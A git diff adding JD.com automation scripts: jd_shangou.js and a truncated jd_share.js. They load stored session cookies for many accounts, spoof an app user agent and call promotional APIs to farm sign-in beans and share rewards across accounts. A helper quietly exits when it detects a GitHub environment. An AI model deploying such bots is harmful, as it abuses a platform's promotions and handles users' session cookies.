"keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_shangou.js b/jd_shangou.js new file mode 100644 index 0000000..cf5cbbd --- /dev/null +++ b/jd_shangou.js @@ -0,0 +1,168 @@ + +/* +10 10 * * * jd_shangou.js + */ + +const $ = new Env('闪购签到有礼'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shangou(); + await $.wait(1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + + +async function shangou() { + return new Promise(async (resolve) => { + $.get(taskUrl(), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data.subCode == 0){ + console.log(data.msg) + console.log(data.rewardsInfo?.successRewards[3][0]?.quantity+'豆'||'空气') + }else{ + console.log(data.msg) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function taskUrl() { + return { + url: `https://api.m.jd.com/client.action?client=wh5&clientVersion=1.0.0&osVersion=15.1.1&networkType=wifi&functionId=doInteractiveAssignment&t=1640952130681&body={"itemId":"1","completionFlag":true,"encryptAssignmentId":"2mbhaGkggQQGGM3imR2o3BMqAbFH","encryptProjectId":"5wAnzYsAWyq94z4TQ6N2tjVKmeB","sourceCode":"aceshangou0608","lat":"0.000000","lng":"0.000000"}`, + headers: { + 'Host': 'api.m.jd.com', + 'accept':'application/json, text/plain, */*', + 'Origin': 'https://prodev.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_share.js b/jd_share.js new file mode 100755 index 0000000..28aad26 --- /dev/null +++ b/jd_share.js @@ -0,0 +1,459 @@ +/* +关注 https://t.me/okyydsnb +7 7 7 7 7 jd_share.js +注意控制ck数量 +*/ + +const $ = new Env("分享有礼"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let authorCodeList = []; +let ownCookieNum = 1; +let isGetAuthorCodeList = true +let activityId = '5da58c75d1204bd1a873c568567844a9' +let activityShopId = '' + +if (process.env.OWN_COOKIE_NUM && process.env.OWN_COOKIE_NUM != 4) { + ownCookieNum = process.env.OWN_COOKIE_NUM; +} +if (process.env.ACTIVITY_ID && process.env.ACTIVITY_ID != "") { + activityId = process.env.ACTIVITY_ID; +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + isGetAuthorCodeList = true; + for (let i = 0; i < ownCookieNum; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = activityId + $.activityShopId = '' + $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/wxShareActivity/activity/${$.authorNum}?activityId=${$.activityId}&friendUuid=${encodeURIComponent($.authorCode)}&shareuserid4minipg=null&shopid=${$.activityShopId}` + await share(); + activityShopId = $.venderId; + } + } + isGetAuthorCodeList = false; + console.log('需要助力助力码') + console.log(authorCodeList) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.errorMessage = '' + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = activityId + $.activityShopId = activityShopId + // $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/wxShareActivity/activity/${$.authorNum}?activityId=${$.activityId}&friendUuid=${encodeURIComponent($.authorCode)}&shareuserid4minipg=null&shopid=${$.activityShopId}` + $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/wxShareActivity/activity/${$.activityId}?activityId=${$.activityId}&adsource=tg_xuanFuTuBiao` + for(let i in authorCodeList){ + $.authorCode = authorCodeList[i] + console.log('去助力: '+$.authorCode) + + await share(); + if ($.errorMessage === '活动太火爆,还是去买买买吧') { + break + } + // await $.wait(2000) + } + } + // await $.wait(2000) + } + for (let i = 0; i < ownCookieNum; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n*开始【京东账号】${$.nickName || $.UserName} 领取*\n`); + $.authorCode = authorCodeList[0] + $.activityId = activityId + $.activityShopId = activityShopId + await getPrize(); + // await $.wait(2000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function share() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + 